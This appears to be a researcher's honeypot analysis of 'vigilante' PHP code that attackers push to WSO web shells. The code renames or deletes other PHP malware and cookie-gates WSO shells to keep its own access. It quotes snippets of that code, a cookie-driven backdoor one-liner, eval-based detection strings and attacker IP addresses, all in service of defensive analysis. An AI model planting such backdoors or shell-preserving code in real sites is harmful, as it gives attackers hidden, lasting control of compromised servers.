2018-05-22
PHP downloaded to WSO web shell's "RC" action for immediate eval that finds 56 different indications of PHP malware, counts those indications, returning the counts to the invoker. It renames most files containing an indication of PHP malware. Some files it leaves alone, while it injects PHP into WSO web shells that only allows requests with a compromised-host-specific cookie to access them.
It's possible that this code has been around and in use for a long time, although the evidence is indirect.
Googling for the salt string used in the code injected into WSO instances, "salt1I*@#31RTds34+543sf", nets me an undated instance of one of those "PHP decoder" web pages (ddecode.com) containing a version of the decision and cleanup functions only. I kept a copy of this in case the web version disappears. It appears to be a somewhat earlier version of the functions than my 2016 capture, but confusingly, it has one function from a later capture.
- 2015-12-11 possible Joomla instance
- 2016-07-08 possible cPanel instance
- 2015-12-15 possible Joomla instacne
- 2015-06-10 note
Looks like this Vigilante AV effort started June of 2015 or so.
The 2015-12-15 report has code that one of the matching functions would flag exactly.
There is ongoing development relating to which strings indicate compromised files.
Looks like the attacker(s) think they send code to a WSO web shell. They use WSO's "RC" action, which immediately eval's any PHP code that arrives in the 'p1' HTTP POST parameter.
This analyis applies generally, but I did it specifically on the 2018-05-19 instance. I first recognized the 2018-05-19 instance as something interesting, despite my honey pot having previous instances on 2016-04-17 and 2018-02-24.
The downloaded code consists of an unencoded portion, a base64-encoded set of function definitions, and a serialized, base64-encoded array-of-arrays.
This looks a lot like boilerplate code for a program
dropper that's used to install a variety of PHP malware.
The Code-in-cookie back door
has an almost exact copy of the GetDocRoot()
function,
and the back door's GetDirectoryList()
is clearly the
ancestor of this code's GetFileList()
function.
Between functions GetDocRoot()
and GetFileList()
,
the code produces a list of files,
probably all files under Apache's DocumentRoot directory.
Circumstances exist where some subdirectory of Apache's
DocumentRoot or even "/"
(the root of the filesystem) might be used.
The code creates 112 oddly-named functions
via the old favorite eval(base64_decode())
function
composition.
Half (56) of the functions have an argument named $path
,
the other half have an argument named $content
.
The 56 functions with an argument named $path
are identical except for the function name.
As an example:
function gzfkylyosi($path)
{
if (!@rename($path, $path . ".suspected")) {
@unlink($path);
}
}
Most these 56 functions either rename a file to have ".suspected" as a suffix, or they delete the file. A few files' contents get them special treatement. See below.
The other 56 functions,
all having one formal argument named $content
,
check for the presence of various strings.
These functions vary in complexity,
but a typical function looks like this:
function rzbvtgkg($content)
{
if (strpos($content, "b374k 2.8") !== FALSE) {
return TRUE;
}
return FALSE;
}
It appears that each of the 56 $content
functions
looks for a string or strings that appear in a particular PHP malware.
The above function clearly returns TRUE if it finds a
b374k web shell.
Once base64-decoded and unserialized,
the array-of-arrays named $defs
contains entries like this:
{15, "rtob", "gfjsi"}
There are 56 of these entries. Each string in the entry matches the name of a function. For the entry above:
function rtob($content)
{
if (strpos($content, "if(mail(\$MailTo,") !== FALSE) {
if (substr_count($content, ")") == 14) {
return TRUE;
}
}
return FALSE;
}
function gfjsi($path)
{
if (!@rename($path, $path . ".suspected")) {
@unlink($path);
}
}
One function to identify a file that might or probably contains PHP malware code, and one function to rename the file to "file.suspected".
Interestingly, the 0-element of the entries are not numbered consecutively, running from 2 to 198. Did more signatures appear in previous versions of this code in the past?
The three parts of this malware look for "signatures" of other PHP malware, then renames the files found. It counts the number of each signature it finds, and prints out a base64-encoded serialization of the array of counts of signatures. That's clearly a machine-readable summary of what it found.
- b374k web shell, but only v2.8
- Anything FOPO-encoded
- nptzow
- Itself, but it's careful to not count itself twice
- JavaScript from "Ayildiz Tim" Turkish hackers' HTML
- Anything with the string '<?php @eval($_POST[', which should catch a lot of the 1-liner backdoors in WordPress themes or plugins
- Anything with the string
eval(gzinflate(base64_decode(
, which catches a lot of droppers - Anything with a URL that Spam Blocklist Recon malware often uses
Every incarnation of this malware has treated WSO web shells specially. It calculates a random-looking string:
$auth_token = md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");
It uses that random-looking string, which is specific to the compromised WordPress site's DNS name, along with some PHP code at the beginning of the WSO file:
if (!isset($_COOKIE['227e948fdbaaeccbbb7b3f42fbe848e8'])) {header('HTTP/1.0 404 Not Found');exit;}
WSO shells are now inaccessible if your browser doesn't send a DNS-name-specific cookie name. WSO shells aren't neutralized like most other PHP malware. The cookie name shown is from the DNS name of my WordPress honey pot.
I should note that the test for WSO-file-contents will return FALSE if the WSO file has already received the cookie check above - the malware does not put in the cookie-name-check twice.
Every WSO (honey pot WSO) access made by these attackers has just such a cookie set.
That is, the HTTP POST requests arrive with an "auth_token" cookie with a value
as calculated above, and a WSO login cookie.
WSO login cookies have the name md5($_SERVER['HTTP_HOST'])
,
and a value of the MD5 hash of some password.
It only makes sense to send along the vigilante cookie:
unmodified WSO only looks for login cookes.
Extra cookies have no effect on WSO requests.
I've been running a WordPress honey pot off and on since May 2013.
I have kept copies of the interesting files that got sent to my honey pot.
I looked for Vigilante Cookies (those with name and value of md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");
)
in my unexamined files.
I found a Vigilante cookie in a download dated 2015-09-22T11:33:05.764-060. This lines up with the June 2015 date of the earlier complaints about ".suspected" suffix file names.
The 2018-02-24 variant, in addition to extra protection on WSO shells, has a couple of weird fix-ups.
Files containing a specific line of PHP:
if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]);
have that line removed:
function gmcbedtlo($path)
{
@file_put_contents(
$path,
str_replace(
"if (isset(\$_COOKIE[\"id\"])) @\$_COOKIE[\"user\"](\$_COOKIE[\"id\"]);",
"",
@file_get_contents($path)
)
);
}
It looks like function gmcbedtlo()
is getting rid of an obscure backdoor,
where a function name arrives in a cookie named "user",
and arguments arrive in a cookie named "id".
But why? Files containing other backdoors just get summarily renamed.
The 2018-02-24 version (at least) has an interesting g-function (cleanup function).
function gxyomsosfm($path)
{
$content = @file_get_contents($path);
$start = strpos($content, "<" . "?php");
if ($start !== FALSE) {
$stop = strpos($content, "?" . ">", $start);
$payload_pos = strpos($content, "};eval(\$");
if ($stop != FALSE && $payload_pos !== FALSE && $payload_pos < $stop) {
$stop += 2;
@file_put_contents($path, substr($content, $stop));
}
}
}
It appears to cut off a trailing eval($some_variable)
from a larger body of PHP code, and write the code less the trailing eval
back to the file.
I have no PHP malware that matches the r-function,
so I can't definitively say what it does.
A good many r-functions (search functions) have g-functions (cleanup) that do nothing. This is a bit puzzling. It's possible that these "just ignore" g-functions exist so that the vigilance committee can get counts of some specific malware, to see if it's worth fixing/renaming later, or to test new r-functions.
I have Apache access_log
files in "combined" format dating back to 2009.
It looks like URIs with a ".suspected" suffix have shown up in the past,
the earliest from 2016
2016-04-12 03:51:10-06 | 178.151.184.223 | /wp-content/plugins/wp-arm-config/antibot.php.suspected
Bizarrely, some URLs I found in my logs have a ".suspected_" suffix, perhaps another layer of moving the code around.
I don't understand accessing those URLs, as Apache/2.4.33 seems to just send any such file's contents, but without a "Content-type:" header. Apache doesn't run the PHP interpreter on the URL's contents, so what's the point?
As of 2019-10-26 my honey pot has received 21 downloads of this malware. Because the search and cleanup function names consist of random series of characters, a little further analysis seems in order.
Attack Date | Attacking IP | netblock | netname |
---|---|---|---|
2016-04-17 | 198.199.100.82 | 198.199.64.0/18 | DIGITALOCEAN-5 |
2018-02-24 | 198.71.239.32 | 198.71.128.0/17 | GO-DADDY-COM-LLC |
2018-05-19 | 198.71.239.41 | 198.71.128.0/17 | GO-DADDY-COM-LLC |
2018-11-14 | 192.185.4.121 | 192.185.0.0/16 | HGBLOCK-10 |
2018-11-20 | 108.179.194.80 | 108.179.192.0/18 | HGBLOCK-5 |
2018-11-22 | 94.46.15.160 | 94.46.12.0/22 | PT-ALMOUROLTEC |
2018-11-23 | 91.236.153.247 | 91.236.153.0/24 | DIS-91-236-153 |
2018-11-25 | 92.61.148.226 | 92.61.144.0/20 | SRVG-NET-HH1-H5-1 |
2018-11-26 | 160.153.147.139 | 160.153.0.0/16 | GO-DADDY-COM-LLC |
2019-02-09 | 120.79.20.249 | 120.76.0.0/14 | ALISOFT |
2019-06-22 | 192.185.83.12 | 192.185.0.0/16 | HGBLOCK-10 |
2019-07-02 | 162.144.181.154 | 162.144.0.0/16 | UNIFIEDLAYER-NETWORK-14 |
2019-07-19 | 178.62.197.23 | DIGITALOCEAN-AMS-5 | |
2019-08-28 | 50.116.86.90 | 50.116.64.0/18 | HGBLOCK-3 |
2019-09-16 | 69.195.124.51 | 69.195.64.0/18 | UNIFIEDLAYER-NETWORK-7 |
2019-09-23 | 184.168.46.162 | 184.168.0.0/16 | GO-DADDY-COM-LLC |
2019-09-24 | 192.185.4.65 | 192.185.0.0/16 | HGBLOCK-10 |
2019-09-26 | 86.109.167.204 | 86.109.167.0/24 | ABANSYS_AND_HOSTYTEC-NET |
2019-09-27 | 79.170.40.37 | 79.170.40.0/21 | HEART-INTERNET |
2019-09-28 | 208.91.198.52 | 208.91.198.0/23 | PUBLICDOMAINREGISTRY-NETWORKS |
2019-09-29 | 108.179.242.207 | 108.179.192.0/18 | HGBLOCK-5 |
I have not updated the above table to include downloads aftet 2019-09-29.
They do show a preference for GoDaddy and WebsiteWelcome.com (50.116.86.90, HGBLOCK-5, HGBLOCK-10), but they've never used the same IP address twice, and addresses are internationally distributed.
p0f3 identifies a variety of Linux versions as the operating systems at those IP addresses.
Each downloaded file has an array named $defs
,
deserialized from a base64-encoded string.
Each element of array $defs
consists of a triplet:
[serial number, search function name, cleanup function name]
Each downloaded file also has a set of detection and cleanup functions. It turns out that although they have function names that consist of a set of between 4 and 11 randomly-selected lowercase ASCII characters, most of the bodies of the functions remain the same relative to the serial number from the deserialized arrays. That is, even though in the 2016-04-17 capture the r-function for serial number 5 is named "rfazvgeouq", and in the 2019-07-19 capture, the r-function for serial number 5 is named "rblxtndnz", the function bodies are identical.
Even though the serial numbers that appear in deserialized arrays have the same function body in each capture, the captures differ in which and how many serial numbers and function appear. By careful observation, we can get hints about what the authors want from their malware.
The 2016-04-17 (oldest) download has 55 serial numbers, detection functions, and cleanup functions. If we track each download from there, we can see how fast the Vigilance Committee changes what they look for, and what they do with it.
Capture date | Serial Number Count | Deletions | Additions |
---|---|---|---|
2018-02-24 | 88 | 41 | 74 |
2018-05-19 | 56 | 34 | 2 |
2018-11-14 | 59 | 22 | 25 |
2018-11-20 | 60 | 0 | 1 |
2018-11-22 | 60 | 0 | 0 |
2018-11-23 | 60 | 0 | 0 |
2018-11-25 | 60 | 0 | 0 |
2018-11-26 | 61 | 0 | 1 |
2019-02-09 | 67 | 9 | 15 |
2019-06-22 | 76 | 1 | 10 |
2019-07-02 | 76 | 0 | 0 |
2019-07-19 | 78 | 0 | 2 |
2019-08-28 | 84 | 0 | 6 |
2019-08-28 | 84 | 0 | 0 |
2019-08-28 | 84 | 0 | 0 |
2019-09-16 | 85 | 0 | 1 |
2019-09-16 | 85 | 0 | 0 |
2019-09-16 | 85 | 0 | 0 |
2019-09-16 | 85 | 0 | 0 |
2019-09-23 | 85 | 0 | 0 |
2019-09-23 | 85 | 0 | 0 |
2019-09-24 | 85 | 0 | 0 |
2019-09-24 | 85 | 0 | 0 |
2019-09-25 | 85 | 0 | 0 |
2019-09-26 | 85 | 0 | 0 |
2019-09-26 | 85 | 0 | 0 |
2019-09-27 | 85 | 0 | 0 |
2019-09-27 | 85 | 0 | 0 |
2019-09-28 | 85 | 0 | 0 |
2019-09-28 | 85 | 0 | 0 |
2019-09-29 | 85 | 0 | 0 |
2019-09-29 | 85 | 0 | 0 |
2019-09-30 | 85 | 0 | 0 |
2019-10-01 | 85 | 0 | 0 |
2019-10-01 | 85 | 0 | 0 |
2019-10-03 | 85 | 0 | 0 |
2019-10-03 | 85 | 0 | 0 |
2019-10-16 | 85 | 0 | 0 |
2019-10-17 | 85 | 0 | 0 |
2019-10-22 | 70 | 15 | 0 |
2019-10-22 | 70 | 0 | 0 |
2019-10-23 | 74 | 0 | 4 |
2019-10-23 | 74 | 0 | 0 |
2019-10-24 | 103 | 4 | 33 |
2019-10-24 | 103 | 0 | 0 |
2019-10-25 | 80 | 23 | 0 |
2019-10-25 | 80 | 0 | 0 |
2019-10-26 | 80 | 0 | 0 |
2019-10-27 | 80 | 0 | 0 |
2019-10-27 | 80 | 0 | 0 |
2019-10-28 | 80 | 0 | 0 |
2019-10-28 | 80 | 0 | 0 |
2019-10-29 | 80 | 0 | 0 |
2019-10-29 | 80 | 0 | 0 |
2019-10-30 | 80 | 0 | 0 |
2019-10-30 | 80 | 0 | 0 |
2019-10-31 | 80 | 0 | 0 |
2019-10-31 | 80 | 0 | 0 |
2019-11-01 | 80 | 0 | 0 |
2019-11-01 | 80 | 0 | 0 |
2019-11-02 | 80 | 0 | 0 |
2019-11-02 | 80 | 0 | 0 |
2019-11-03 | 80 | 0 | 0 |
2019-11-03 | 80 | 0 | 0 |
2019-11-04 | 80 | 0 | 0 |
2019-11-04 | 80 | 0 | 0 |
2019-11-05 | 80 | 0 | 0 |
2019-11-05 | 80 | 0 | 0 |
2019-11-06 | 80 | 0 | 0 |
2019-11-06 | 80 | 0 | 0 |
2019-11-07 | 80 | 0 | 0 |
2019-11-07 | 80 | 0 | 0 |
2019-11-08 | 80 | 0 | 0 |
2019-11-08 | 80 | 0 | 0 |
2019-11-09 | 80 | 0 | 0 |
2019-11-10 | 80 | 0 | 0 |
2019-11-10 | 80 | 0 | 0 |
2019-11-11 | 80 | 0 | 0 |
2019-11-11 | 80 | 0 | 0 |
2019-11-12 | 81 | 0 | 1 |
2019-11-12 | 81 | 0 | 0 |
2019-11-13 | 110 | 0 | 29 |
2019-11-13 | 110 | 0 | 0 |
2019-11-14 | 100 | 10 | 0 |
2019-11-14 | 100 | 0 | 0 |
2019-11-15 | 82 | 18 | 0 |
2019-11-15 | 82 | 0 | 0 |
2019-11-16 | 82 | 0 | 0 |
I generated the above table with a script. The 2018-11-22, 2018-11-23 and 2018-11-25 captures are identical to the 2018-11-20 capture. The 2019-07-02 is identical to the 2019-06-22 capture. 2019-09-23 through 2019-10-17 are identical to the 2019-09-16 capture.
Looks like at least 3 purges took place, once between 2016-04-17 and 2018-02-27, between 2018-02-27 and 2018-05-19, and a bit of a mess at 2019-10-22 and 2019-10-25 Other than that, the trend is to add more functions than get deleted.
Serial Number | Initial appearance | Final appearance |
---|---|---|
2 | 2016-04-17 | 2019-11-16 |
3 | 2016-04-17 | |
5 | 2016-04-17 | 2019-11-16 |
6 | 2016-04-17 | |
8 | 2016-04-17 | |
9 | 2016-04-17 | |
11 | 2016-04-17 | |
12 | 2016-04-17 | |
13 | 2016-04-17 | |
15 | 2016-04-17 | 2019-11-16 |
16 | 2016-04-17 | |
17 | 2016-04-17 | |
18 | 2016-04-17 | 2019-11-16 |
19 | 2016-04-17 | |
20 | 2016-04-17 | |
23 | 2016-04-17 | 2019-11-16 |
24 | 2016-04-17 | 2018-02-24 |
26 | 2016-04-17 | |
27 | 2016-04-17 | |
28 | 2016-04-17 | |
33 | 2016-04-17 | |
34 | 2016-04-17 | 2018-05-19 |
36 | 2016-04-17 | 2019-11-16 |
41 | 2016-04-17 | |
42 | 2016-04-17 | 2019-11-16 |
43 | 2016-04-17 | |
44 | 2016-04-17 | |
45 | 2016-04-17 | |
46 | 2016-04-17 | |
47 | 2016-04-17 | |
48 | 2016-04-17 | |
49 | 2016-04-17 | 2018-02-24 |
50 | 2016-04-17 | |
51 | 2016-04-17 | |
52 | 2016-04-17 | |
53 | 2016-04-17 | |
54 | 2016-04-17 | 2019-11-16 |
55 | 2016-04-17 | |
57 | 2016-04-17 | |
58 | 2016-04-17 | |
59 | 2016-04-17 | |
60 | 2016-04-17 | 2019-11-16 |
61 | 2016-04-17 | |
62 | 2016-04-17 | 2018-02-24 |
63 | 2016-04-17 | |
64 | 2016-04-17 | |
65 | 2016-04-17 | |
66 | 2016-04-17 | |
67 | 2016-04-17 | |
68 | 2016-04-17 | |
69 | 2016-04-17 | 2018-05-19 |
70 | 2016-04-17 | |
71 | 2016-04-17 | |
72 | 2016-04-17 | |
74 | 2016-04-17 | |
79 | 2018-02-24 | 2018-05-19 |
89 | 2018-02-24 | 2019-11-16 |
90 | 2018-02-24 | 2018-05-19 |
91 | 2018-02-24 | |
95 | 2018-02-24 | 2018-05-19 |
96 | 2018-02-24 | |
109 | 2018-02-24 | 2019-11-16 |
110 | 2018-02-24 | 2019-11-16 |
111 | 2018-02-24 | 2019-11-16 |
112 | 2018-02-24 | 2019-11-16 |
114 | 2018-02-24 | |
115 | 2018-02-24 | 2019-11-16 |
116 | 2018-02-24 | 2018-05-19 |
118 | 2018-02-24 | 2019-11-16 |
119 | 2018-02-24 | 2018-05-19 |
123 | 2018-02-24 | 2018-05-19 |
125 | 2018-02-24 | 2018-05-19 |
126 | 2018-02-24 | 2019-11-16 |
127 | 2018-02-24 | 2019-10-17 |
128 | 2018-02-24 | 2018-05-19 |
129 | 2018-02-24 | |
130 | 2018-02-24 | 2019-11-16 |
134 | 2018-02-24 | 2019-11-16 |
136 | 2018-02-24 | |
137 | 2018-02-24 | 2018-05-19 |
138 | 2018-02-24 | 2019-11-16 |
140 | 2018-02-24 | |
142 | 2018-02-24 | |
143 | 2018-02-24 | |
144 | 2018-02-24 | |
145 | 2018-02-24 | |
146 | 2018-02-24 | 2018-11-26 |
147 | 2018-02-24 | |
148 | 2018-02-24 | 2019-11-16 |
149 | 2018-02-24 | |
150 | 2018-02-24 | |
153 | 2018-02-24 | 2018-05-19 |
155 | 2018-02-24 | |
156 | 2018-02-24 | 2018-05-19 |
157 | 2018-02-24 | 2019-11-16 |
158 | 2018-02-24 | 2018-05-19 |
159 | 2018-02-24 | |
160 | 2018-02-24 | 2018-05-19 |
161 | 2018-02-24 | |
162 | 2018-02-24 | |
163 | 2018-02-24 | 2019-11-16 |
164 | 2018-02-24 | |
165 | 2018-02-24 | |
166 | 2018-02-24 | 2018-11-26 |
167 | 2018-02-24 | |
168 | 2018-02-24 | 2018-05-19 |
169 | 2018-02-24 | |
170 | 2018-02-24 | |
171 | 2018-02-24 | |
172 | 2018-02-24 | 2019-10-17 |
173 | 2018-02-24 | |
174 | 2018-02-24 | 2019-11-16 |
176 | 2018-02-24 | |
177 | 2018-02-24 | 2018-05-19 |
178 | 2018-02-24 | |
179 | 2018-02-24 | 2019-10-17 |
180 | 2018-02-24 | |
182 | 2018-02-24 | 2018-05-19 |
183 | 2018-02-24 | |
184 | 2018-02-24 | |
185 | 2018-02-24 | |
187 | 2018-02-24 | 2019-11-16 |
188 | 2018-02-24 | 2018-05-19 |
189 | 2018-02-24 | 2019-11-16 |
190 | 2018-02-24 | 2018-05-19 |
191 | 2018-02-24 | 2018-05-19 |
192 | 2018-02-24 | 2019-11-16 |
193 | 2018-02-24 | |
194 | 2018-02-24 | 2018-05-19 |
196 | 2018-05-19 | 2019-11-16 |
198 | 2018-05-19 | 2019-11-16 |
199 | 2018-11-14 | 2019-11-16 |
200 | 2018-11-14 | 2019-11-16 |
201 | 2018-11-14 | 2019-11-16 |
203 | 2018-11-14 | 2019-11-16 |
206 | 2018-11-14 | 2019-10-17 |
209 | 2018-11-14 | 2019-11-16 |
210 | 2018-11-14 | 2019-11-16 |
212 | 2018-11-14 | 2019-10-17 |
213 | 2018-11-14 | 2019-11-16 |
214 | 2018-11-14 | 2019-11-16 |
215 | 2018-11-14 | 2019-11-16 |
216 | 2018-11-14 | 2019-11-16 |
217 | 2018-11-14 | 2019-11-16 |
218 | 2018-11-14 | 2019-11-16 |
219 | 2018-11-14 | 2018-11-26 |
220 | 2018-11-14 | 2018-11-26 |
221 | 2018-11-14 | 2019-11-16 |
222 | 2018-11-14 | 2019-11-16 |
223 | 2018-11-14 | 2019-11-16 |
224 | 2018-11-14 | 2019-11-16 |
225 | 2018-11-14 | 2019-10-17 |
226 | 2018-11-14 | 2018-11-26 |
227 | 2018-11-14 | 2018-11-26 |
228 | 2018-11-14 | 2018-11-26 |
229 | 2018-11-14 | 2018-11-26 |
230 | 2018-11-20 | 2019-10-17 |
231 | 2018-11-26 | |
232 | 2019-02-09 | 2019-11-16 |
233 | 2019-02-09 | |
235 | 2019-02-09 | 2019-10-17 |
236 | 2019-02-09 | 2019-11-16 |
237 | 2019-02-09 | 2019-11-16 |
238 | 2019-02-09 | 2019-11-16 |
239 | 2019-02-09 | 2019-10-17 |
240 | 2019-02-09 | 2019-11-16 |
241 | 2019-02-09 | 2019-11-16 |
242 | 2019-02-09 | 2019-11-16 |
243 | 2019-02-09 | 2019-11-16 |
244 | 2019-02-09 | 2019-10-17 |
245 | 2019-02-09 | 2019-11-16 |
246 | 2019-02-09 | 2019-11-16 |
247 | 2019-02-09 | 2019-11-16 |
248 | 2019-06-22 | 2019-10-17 |
249 | 2019-06-22 | 2019-11-16 |
250 | 2019-06-22 | 2019-11-16 |
251 | 2019-06-22 | 2019-10-17 |
252 | 2019-06-22 | 2019-11-16 |
253 | 2019-06-22 | 2019-11-16 |
254 | 2019-06-22 | 2019-11-16 |
255 | 2019-06-22 | 2019-10-17 |
256 | 2019-06-22 | 2019-11-16 |
257 | 2019-06-22 | 2019-11-16 |
258 | 2019-07-19 | 2019-10-17 |
259 | 2019-07-19 | 2019-11-16 |
260 | 2019-08-28 | 2019-11-16 |
261 | 2019-08-28 | 2019-11-16 |
262 | 2019-08-28 | 2019-11-16 |
263 | 2019-08-28 | 2019-11-16 |
264 | 2019-08-28 | 2019-11-16 |
265 | 2019-08-28 | 2019-10-17 |
266 | 2019-09-16 | 2019-11-16 |
267 | 2019-10-23 | 2019-10-23 |
268 | 2019-10-23 | 2019-10-23 |
269 | 2019-10-23 | 2019-10-23 |
270 | 2019-10-23 | 2019-10-23 |
307 | 2019-10-24 | 2019-10-24 |
308 | 2019-10-24 | 2019-11-16 |
309 | 2019-10-24 | 2019-10-24 |
310 | 2019-10-24 | 2019-11-16 |
311 | 2019-10-24 | 2019-10-24 |
312 | 2019-10-24 | 2019-11-16 |
313 | 2019-10-24 | 2019-10-24 |
314 | 2019-10-24 | 2019-10-24 |
315 | 2019-10-24 | 2019-10-24 |
316 | 2019-10-24 | 2019-10-24 |
317 | 2019-10-24 | 2019-10-24 |
318 | 2019-10-24 | 2019-10-24 |
319 | 2019-10-24 | 2019-10-24 |
320 | 2019-10-24 | 2019-10-24 |
321 | 2019-10-24 | 2019-10-24 |
322 | 2019-10-24 | 2019-11-16 |
323 | 2019-10-24 | 2019-11-16 |
324 | 2019-10-24 | 2019-10-24 |
325 | 2019-10-24 | 2019-10-24 |
326 | 2019-10-24 | 2019-11-16 |
327 | 2019-10-24 | 2019-10-24 |
328 | 2019-10-24 | 2019-10-24 |
329 | 2019-10-24 | 2019-10-24 |
330 | 2019-10-24 | 2019-10-24 |
331 | 2019-10-24 | 2019-10-24 |
332 | 2019-10-24 | 2019-10-24 |
333 | 2019-10-24 | 2019-10-24 |
334 | 2019-10-24 | 2019-10-24 |
335 | 2019-10-24 | 2019-11-16 |
336 | 2019-10-24 | 2019-10-24 |
337 | 2019-10-24 | 2019-11-16 |
338 | 2019-10-24 | 2019-11-16 |
339 | 2019-10-24 | 2019-11-16 |
340 | 2019-11-12 | 2019-11-16 |
341 | 2019-11-13 | 2019-11-13 |
342 | 2019-11-13 | 2019-11-13 |
343 | 2019-11-13 | 2019-11-13 |
344 | 2019-11-13 | 2019-11-14 |
345 | 2019-11-13 | 2019-11-14 |
346 | 2019-11-13 | 2019-11-13 |
347 | 2019-11-13 | 2019-11-13 |
348 | 2019-11-13 | 2019-11-14 |
349 | 2019-11-13 | 2019-11-13 |
350 | 2019-11-13 | 2019-11-14 |
351 | 2019-11-13 | 2019-11-14 |
352 | 2019-11-13 | 2019-11-16 |
353 | 2019-11-13 | 2019-11-14 |
354 | 2019-11-13 | 2019-11-14 |
355 | 2019-11-13 | 2019-11-14 |
356 | 2019-11-13 | 2019-11-14 |
357 | 2019-11-13 | 2019-11-14 |
358 | 2019-11-13 | 2019-11-14 |
359 | 2019-11-13 | 2019-11-13 |
360 | 2019-11-13 | 2019-11-13 |
361 | 2019-11-13 | 2019-11-13 |
362 | 2019-11-13 | 2019-11-14 |
363 | 2019-11-13 | 2019-11-14 |
364 | 2019-11-13 | 2019-11-14 |
365 | 2019-11-13 | 2019-11-13 |
366 | 2019-11-13 | 2019-11-14 |
367 | 2019-11-13 | 2019-11-14 |
368 | 2019-11-13 | 2019-11-14 |
369 | 2019-11-13 |
The above diagram shows the persistence of various detection functions across the versions my honey pot caught.
Functions for serial numbers 2, 5, 15, 18, 23, 36, 42, 54, 60 appear in every capture.
Serial Number | Detects |
---|---|
2 | Email cut-out |
5 | Immediate eval backdoor |
15 | Remailer |
18 | Immediate eval backdoor |
23 | Immediate eval backdoor |
36 | Anything encoded by http://www.fopo.com.ar/ |
42 | WSO web shells without vigilante protection |
54 | ??? |
60 | ??? |
I do not have attacks captured by my honey pot that get detected by serial numbers 5, 15, 18 and 60.
The WSO web shells that get detected are almost certainly unobfuscated, or only partially obfuscated. Oddly, some methods of WSO obfuscation often leaves a few lines of code outside the obfuscated part, and this detection function looks for those lines.
Seventeen of the cleanup functions change, even though the corresponding detection function never changed. Every one of these cleanup functions changes from a "no-op" to the function that appends ".suspected" to filenames that the detection function deems impure.
Serial Number | First Appearance | Changes to renaming |
---|---|---|
36 | 2016-04-17 | 2018-02-24 |
137 | 2018-02-24 | 2018-05-19 |
188 | 2018-02-24 | 2018-05-19 |
190 | 2018-02-24 | 2018-05-19 |
191 | 2018-02-24 | 2018-05-19 |
192 | 2018-02-24 | 2018-05-19 |
194 | 2018-02-24 | 2018-05-19 |
217 | 2018-11-14 | 2018-11-20 |
218 | 2018-11-14 | 2018-11-20 |
219 | 2018-11-14 | 2018-11-20 |
220 | 2018-11-14 | 2018-11-20 |
222 | 2018-11-14 | 2018-11-20 |
223 | 2018-11-14 | 2018-11-20 |
225 | 2018-11-14 | 2018-11-20 |
228 | 2018-11-14 | 2018-11-20 |
229 | 2018-11-14 | 2018-11-20 |
245 | 2019-02-09 | 2019-06-22 |
I don't think it's worth reading anything into intervals between catching a function, and it getting changed from no-op to renaming. The important part to note is that the first appearance of many of these cleanup functions is a no-op. A no-op function will increase the count for that serial number that's returned to the attacker(s).
Five detection functions change over the course of these captures.
Serial number | Change |
---|---|
42 | Accept more strings as indicating WSO web shell |
54 | ??? |
60 | Accept a wider range of counts of sub-strings |
130 | Change string detected |
216 | make string searched for less specific |
The interesting fact here is that every change makes the detection function accept more files, and all of these have appeared in most or all of the captures.
Why do they make the changes they do?
If a given serial number's detection function doesn't find malware in a while, they could remove that function, because they get a count of files back from the cleanup. We see functions disappearing from the lineup, and the gap in functions matching serial numbers 75 to 100 implies that even more of the early detection functions got eliminated. Apparently this happens.
The vigilante development team makes changes in the functions that this software uses to detect malware, and the functions that clean up files deemed worthy. Initially the cleanup function is a no-op, but later changes to the default renaming function. That's why I believe that the "do nothing" cleanup-functions exist. They allow the vigilance committee to test new detection functions in the wild, and to see what prevalence of malware actually exists. They may have a better idea of what PHP malware occurs in the wild than the anti-virus companies have.
Since the code preserves access to WSO shells, you have to question the motives of the vigilance committee. They clearly aren't behaving 100% altruistically. Attackers, or someone they've delegated, actually set the vigilante cookie in downloads to the emulated WSO in my WordPress honey pot.